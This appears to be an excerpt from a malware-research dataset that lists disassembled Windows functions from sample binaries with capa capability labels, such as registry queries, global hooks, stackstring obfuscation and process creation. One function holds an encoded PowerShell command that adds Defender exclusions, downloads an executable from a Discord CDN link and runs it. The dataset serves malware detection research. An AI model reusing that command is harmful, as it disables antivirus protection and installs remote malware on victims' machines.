joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4625b4
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x46275f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x462740
mov dl, 1
mov eax, dword [0x41bdb4]
call fcn.00404210
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00405054
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x46272f
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00455530
test al, al
je 0x462722
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x462770
lea eax, [ebp - 0x254]
call fcn.0040ab78
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x462722
xor eax, eax
push ebp
push 0x46271b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x4627a8
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x462704
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004052c4
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x462704
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004052c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x462722
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x462625
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x25], 0
mov dl, 1
call fcn.00420568
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x462766
lea eax, [ebp - 0x260]
call fcn.00405054
ret

Function at 0x4630d8
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4b4588]
cmp byte [eax + 0xad], 0
jne 0x463149
cmp dword [0x4b45a0], 0
jne 0x46310a
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x463094
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4b45a0], eax
cmp dword [0x4b459c], 0
jne 0x463125
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x4b459c], eax
cmp dword [0x4b45a4], 0
jne 0x463149
push esp
push 0
push 0
push 0x463038
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x4b45a4], eax
pop edx
ret
Function at 0x46331c
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x463333
add esp, 0xfffffff0
call fcn.0040454c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00424720
mov eax, dword [0x4afee0]
cmp word [eax + 2], 0
jne 0x46335b
mov eax, dword [0x4afee0]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00464dcc
mov eax, dword [0x4affe4]
cmp word [eax + 2], 0
jne 0x463375
mov eax, dword [0x4affe4]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00464fd8
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x41b748]
call fcn.00404210
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x41b748]
call fcn.00404210
mov dword [ebx + 0x98], eax
mov dl, 1
mov eax, dword [0x41b748]
call fcn.00404210
mov dword [ebx + 0xb0], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0xa5], 1
mov byte [ebx + 0xbc], 1
mov dl, 1
mov eax, dword [0x428b1c]
call fcn.0042eaa4
mov esi, eax
mov dword [ebx + 0xa0], esi
push 0x46352c
mov eax, dword [0x4afd5c]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042ee78
mov eax, dword [ebx + 0xa0]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x4656a8
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4afd5c]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040f1c8
test eax, eax
je 0x46347c
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.0040a4d4
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040f1fc
test eax, eax
je 0x463490
mov byte [eax], 0
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_CharNextA_1
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004052c4
mov byte [ebx + 0xd4], 0
push ebx
push 0x46492c
call fcn.0042589c
mov dword [ebx + 0xc8], eax
mov eax, dword [0x4afb9c]
cmp byte [eax], 0
jne 0x4634e1
mov eax, ebx
call fcn.00463670
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0xa6], 1
xor eax, eax
mov dword [ebx + 0xa8], eax
mov eax, ebx
call fcn.00465884
mov eax, ebx
call fcn.004663e4
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x463521
call fcn.004045a4
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4638f0
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4b4588]
cmp dword [eax + 0x30], 0
je 0x46399a
cmp dword [ebx + 0x94], 0
jne 0x463994
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x463880
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x463994
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x46395a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x463994
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041dd3c
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x463969
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x4646b4
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x4646e9
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00405144
jmp 0x4646f6
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004050a8
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x465a68
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x465ad6
mov eax, esi
call fcn.004501f0
test al, al
je 0x465ad6
mov eax, dword [ebx + 0x84]
call fcn.0044fe50
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x465ad6
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xf0]
test al, al
je 0x465aca
push 0
mov eax, dword [ebx + 0x84]
call fcn.0044fe50
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.00448270
jmp 0x465ad6
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.004658a4
pop esi
pop ebx
ret

Function at 0x48b903
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareBorlandDatabase_Engine
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x48b95b
movzx edx, word [ebp + 8]
mov dword [ebp - 8], edx
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 0xc]
push 0
push 0
push str.DLLPATH
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x48b951
mov bx, 0x2a04
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey_1
jmp 0x48b95f
mov bx, 0x2a04
mov eax, ebx
pop ebx
pop ecx
pop ecx
pop ebp
ret 8
Function at 0x47a070
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
add eax, esi
cmp dword [ebp - 8], eax
jae 0x47a071
mov dword [ebp - 8], eax
clc
add ecx, 0x28
dec edx
jne 0x47a062
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x58
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xe0
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.00479e1d
and esi, dword [esi]
or ch, byte [eax - 0x73]
inc ebp
test al, 0x50
call fcn.00479e2d
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.00479de2
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x47a10b
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.00479e1d
add byte [ecx + 0x458d2b84], ch
rcl byte [eax - 0x18], 0xc5
cld
invalid

Function at 0x47a4c0
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x47a4d1
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x47a4cc
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x47a4b6
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x47a4be
cmp edx, ebx
jne fcn.0047a60c
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add al, 0x83
inc ebp
or byte [edx], al
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x47a48d
add eax, dword [eax + 4]
jmp 0x47a47a
mov dword [ebp + 0xc], ebx
jmp 0x47a4dc
Function at 0x610184
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee8
push ebx
xor ecx, ecx
mov dword [ebp - 0x118], ecx
mov dword [ebp - 0x114], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], ecx
mov ebx, eax
xor eax, eax
push ebp
push 0x6102b7
push dword fs:[eax]
mov dword fs:[eax], esp
test edx, edx
jne 0x6101ce
mov eax, dword [ebx + 0x2f8]
call fcn.004dd254
mov eax, dword [eax + 0x24]
lea edx, [ebp - 4]
call fcn.0040bb44
jmp 0x6101e4
mov eax, dword [ebx + 0x2f8]
call fcn.004dd254
mov eax, dword [eax + 0x24]
lea edx, [ebp - 4]
call fcn.0040bb44
mov edx, dword [ebp - 4]
mov eax, 0x6102cc
call fcn.00404664
push eax
mov eax, dword [ebp - 4]
call fcn.00404378
mov ecx, eax
lea eax, [ebp - 4]
pop edx
call fcn.004045c0
lea eax, [ebp - 4]
mov ecx, dword [ebp - 4]
mov edx, dword [0x662e44]
call fcn.004043c4
call fcn.00503800
dec eax
setne bl
push 0x104
lea eax, [ebp - 0x10d]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea edx, [ebp - 0x114]
lea eax, [ebp - 0x10d]
call fcn.0040d264
mov edx, dword [ebp - 0x114]
lea eax, [ebp - 8]
mov ecx, 0x6102dc
call fcn.004043c4
test bl, bl
je 0x610284
call fcn.004f8908
test al, al
jne 0x610284
lea eax, [ebp - 0x118]
mov ecx, dword [ebp - 4]
mov edx, 0x6102e8
call fcn.004043c4
mov edx, dword [ebp - 0x118]
mov eax, dword [ebp - 8]
call fcn.004fbf68
jmp 0x61028c
mov eax, dword [ebp - 4]
call fcn.004f43e0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x6102be
lea eax, [ebp - 0x118]
mov edx, 2
call fcn.00404100
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404100
ret

Function at 0x633488
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x633559
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov ecx, 0x633570
mov edx, dword [ebx + 0x378]
call fcn.004043c4
mov eax, dword [ebp - 4]
call fcn.0040c3e0
test al, al
jne 0x633510
mov eax, dword [0x6693e0]
mov eax, dword [eax + 0x58c]
push eax
mov eax, dword [0x6693e0]
mov eax, dword [eax + 0x590]
push eax
mov eax, dword [0x6693e0]
mov eax, dword [eax + 0x594]
push eax
mov eax, dword [0x6693e0]
mov eax, dword [eax + 0x598]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [0x6693e0]
mov edx, dword [eax + 0x57c]
mov ecx, dword [ebx + 0x504]
mov eax, 1
call fcn.00518c7c
jmp 0x63353e
push 5
mov eax, dword [ebx + 0x378]
call fcn.0040453c
push eax
push 0x633578
mov eax, dword [ebp - 4]
call fcn.0040453c
push eax
push 0x63357c
mov eax, ebx
call fcn.0049625c
push eax
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x633560
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404100
ret
Function at 0x65a8a0
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x65a96b
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x65a946
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov ecx, 0x65a984
mov edx, dword [0x669478]
call fcn.004043c4
mov eax, dword [ebp - 4]
call fcn.0040c3e0
test al, al
je 0x65a93c
push 0x80
lea eax, [ebp - 8]
mov ecx, 0x65a984
mov edx, dword [0x669478]
call fcn.004043c4
mov eax, dword [ebp - 8]
call fcn.0040453c
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [0x6639dc]
mov eax, dword [eax]
mov eax, dword [eax + 0x40c]
call fcn.005052dc
push eax
lea eax, [ebp - 0xc]
mov ecx, 0x65a984
mov edx, dword [0x669478]
call fcn.004043c4
mov eax, dword [ebp - 0xc]
pop edx
call fcn.004fb498
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x65a950
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x65a972
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404100
ret

Function at 0x65aa54
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x65aab3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x669468]
call fcn.0040c3e0
test al, al
je 0x65aaa9
push 0x80
mov eax, dword [0x669468]
call fcn.0040453c
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [0x6639dc]
mov eax, dword [eax]
mov eax, dword [eax + 0x40c]
call fcn.005052dc
mov edx, eax
mov eax, dword [0x669468]
call fcn.004fb498
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x65aabd
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x65aac4
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x65ab23
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x66946c]
call fcn.0040c3e0
test al, al
je 0x65ab19
push 0x80
mov eax, dword [0x66946c]
call fcn.0040453c
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [0x6639dc]
mov eax, dword [eax]
mov eax, dword [eax + 0x40c]
call fcn.005052dc
mov edx, eax
mov eax, dword [0x66946c]
call fcn.004fb498
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x65ab2d
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0
nop
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, str._EncodedCommand__PAAjAHAAYgBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB4AG0AIwAACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBhAGUAIwAACAALQBGAG8AcgBjAGUAIAA8ACMAaAB5AGsAIwAADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAyADMAMwA4ADgANQA1ADYAOQA2ADMAOAAyADAANwA2ADkAOQAvADEAMgAzADcANwAzADMAMwA5ADMANAAzADgAMAA4ADEAMAAyADQALwBMAG8AYQBkAGUAcgAuAGUAeABlAD8AZQB4AD0ANgA2ADMAYwBiADgAOABjACYAaQBzAD0ANgA2ADMAYgA2ADcAMABjACYAaABtAD0AZgA5AGQAYgA4ADYANQAzADMAYgA5ADYAMQA2ADkANQA3ADYAZQA5ADkAMAAxADcAYgAzAGUANAAzADAAOQAxADUAZQA0ADkAZgBjADAAZgBhADEAYwAyADMANgA1AGUANQA0ADYAYgBiAGQAZAA0AGMAYwAyADYAYQA0ADcAZgAmACcALAAgADwAIwB1AHEAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHoAYgBjACMAPgAgAC0AUABhAHQAaAAgACgAJABwAHcAZAApAC4AcABhAHQAaAAgADwAIwB4AHEAYgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBSADMAbgB6AC4AZQB4AGUAJwApACkAPAAjAGQAdgBhACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHEAYQB1ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAoACQAcAB3AGQAKQAuAHAAYQB0AGgAIAA8ACMAaQB1AGsAIwAACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUgAzAG4AegAuAGUAeABlACcAKQA8ACMAZQB3AGUAIwAAA_
push eax
mov eax, str.powershell
push eax
mov eax, str.open
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, 0
leave
ret
Function at 0x10014d59
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
cmp dword [ebp + 8], 0
jne 0x10014d69
xor eax, eax
leave
ret
push edi
push dword [ebp + 8]
call fcn.100465b0
inc eax
push eax
call fcn.10045263
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x10014dd8
push esi
push dword [ebp + 8]
push edi
call fcn.10046190
pop ecx
pop ecx
mov esi, edi
xor eax, eax
push ebx
mov bl, byte [esi]
cmp bl, 0x3a
jne 0x10014d9f
xor eax, eax
inc eax
inc esi
jmp 0x10014d92
test eax, eax
jne 0x10014df4
cmp bl, 0x2f
je 0x10014db1
cmp bl, 0x5c
je 0x10014db1
test bl, bl
jne 0x10014df4
lea eax, [ebp - 0x30]
push eax
push edi
mov byte [esi], 0
call fcn.100453f3
pop ecx
pop ecx
test eax, eax
jne 0x10014ddb
test dword [ebp - 0x2a], 0x4000
jne 0x10014df2
push edi
call fcn.1004523d
pop ecx
xor eax, eax
pop ebx
pop esi
pop edi
leave
ret
call fcn.10046935
cmp dword [eax], 2
jne 0x10014dcd
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x10014e0a
mov byte [esi], bl
cmp byte [esi], 0
je 0x10014e05
inc esi
xor eax, eax
cmp byte [esi], al
jne 0x10014d92
cmp dword [ebp + 0xc], eax
je 0x10014d92
xor esi, esi
inc esi
jmp 0x10014e0c
xor esi, esi
push edi
call fcn.1004523d
pop ecx
mov eax, esi
jmp 0x10014dd6
Function at 0x1001583b
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1008bc20]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov edi, dword [ebp + 8]
cmp dword [esi], ebx
je 0x10015861
xor eax, eax
inc eax
jmp 0x100158f9
cmp edi, ebx
je 0x100158f7
cmp byte [ebp + 0xc], bl
je 0x100158f7
push edi
call fcn.100465b0
inc eax
pop ecx
cmp eax, 0x28
jb 0x10015882
push 0x28
pop eax
push eax
lea eax, [ebp - 0x2c]
push edi
push eax
call fcn.10045d50
add esp, 0xc
mov byte [ebp - 0x30], bl
cmp byte [ebp + 0xc], bl
jbe 0x100158ee
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x30]
lea eax, [ebp - 0x2c]
push eax
call fcn.10015809
pop ecx
pop ecx
lea eax, [ebp - 0x2c]
push eax
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esi], eax
cmp eax, ebx
jne 0x100158c3
call edi
jmp 0x100158e3
call edi
cmp eax, 0xb7
jne 0x100158ee
push ebx
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x100158ee
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], ebx
inc byte [ebp - 0x30]
mov al, byte [ebp - 0x30]
cmp al, byte [ebp + 0xc]
jb 0x1001589e
xor eax, eax
cmp dword [esi], ebx
setne al
jmp 0x100158f9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10045c30
leave
ret 8

Function at 0x1001627d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 0x1c]
mov eax, dword [esi + 0x20]
cmp ecx, eax
jne 0x10016293
xor eax, eax
inc eax
jmp 0x100162f8
jbe 0x1001629d
and dword [esi + 0x24], 0
xor eax, eax
jmp 0x100162f8
cmp dword [esi + 0x24], 6
lea edx, [esi + 4]
je 0x100162a9
mov edx, dword [esi + 0x18]
and dword [ebp + 8], 0
push edi
lea edi, [esi + 0x2c]
push edi
lea edi, [ebp + 8]
push edi
sub eax, ecx
push eax
add ecx, edx
push ecx
push dword [esi + 0x28]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
inc edx
test edi, edi
pop edi
je 0x100162ec
cmp eax, 0x3e5
je 0x100162f3
mov eax, dword [ebp + 8]
add dword [esi + 0x1c], eax
mov ecx, dword [esi + 0x1c]
cmp ecx, dword [esi + 0x20]
je 0x100162f6
jmp 0x10016295
cmp eax, 0x3e5
jne 0x10016295
mov dword [esi + 8], edx
mov eax, edx
pop esi
pop ebp
ret 4
Function at 0x100162fd
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 0x1c]
mov eax, dword [esi + 0x20]
cmp ecx, eax
jne 0x10016313
xor eax, eax
inc eax
jmp 0x1001636f
jbe 0x1001631d
and dword [esi + 0x24], 0
xor eax, eax
jmp 0x1001636f
and dword [ebp + 8], 0
push edi
lea edx, [esi + 0x2c]
push edx
lea edx, [ebp + 8]
push edx
sub eax, ecx
push eax
mov eax, dword [esi + 0x18]
add eax, ecx
push eax
push dword [esi + 0x28]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
inc edx
test edi, edi
pop edi
je 0x10016363
cmp eax, 0x3e5
je 0x1001636a
mov eax, dword [ebp + 8]
add dword [esi + 0x1c], eax
mov ecx, dword [esi + 0x1c]
cmp ecx, dword [esi + 0x20]
je 0x1001636d
jmp 0x10016315
cmp eax, 0x3e5
jne 0x10016315
mov dword [esi + 8], edx
mov eax, edx
pop esi
pop ebp
ret 4

Function at 0x10016457
Capabilities:
Connect pipe

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x10]
push edi
xor edi, edi
mov ebx, ecx
cmp dword [esi + 8], edi
je 0x10016471
push dword [esi + 0x28]
call dword [sym.imp.KERNEL32.dll_CancelIo]
push esi
mov ecx, ebx
call fcn.10016151
mov eax, dword [esi + 0x28]
cmp eax, 0xffffffff
je 0x10016488
push eax
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
cmp byte [esi], 0xff
je 0x1001649c
cmp dword [esi + 0x40], edi
jne 0x1001649c
push 3
push esi
mov ecx, ebx
call fcn.100163af
lea eax, [esi + 0x2c]
push eax
push dword [esi + 0x28]
mov byte [esi], 0xff
mov dword [esi + 0x40], edi
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x14], eax
mov edi, 0x1388
test ebp, ebp
jne 0x10016508
push 2
pop ebp
cmp eax, 0x217
jne 0x100164e5
push dword [esi + 0x3c]
mov dword [esi + 0x24], ebp
call dword [sym.imp.KERNEL32.dll_SetEvent]
push edi
push dword [esi + 0x44]
mov ecx, ebx
call fcn.100161b9
cmp dword [esp + 0x14], 0x3e5
jne 0x10016508
xor edi, edi
push 0
push dword [esi + 0x44]
inc edi
mov ecx, ebx
mov dword [esi + 0x24], ebp
mov dword [esi + 8], edi
call fcn.100161b9
mov eax, edi
jmp 0x10016519
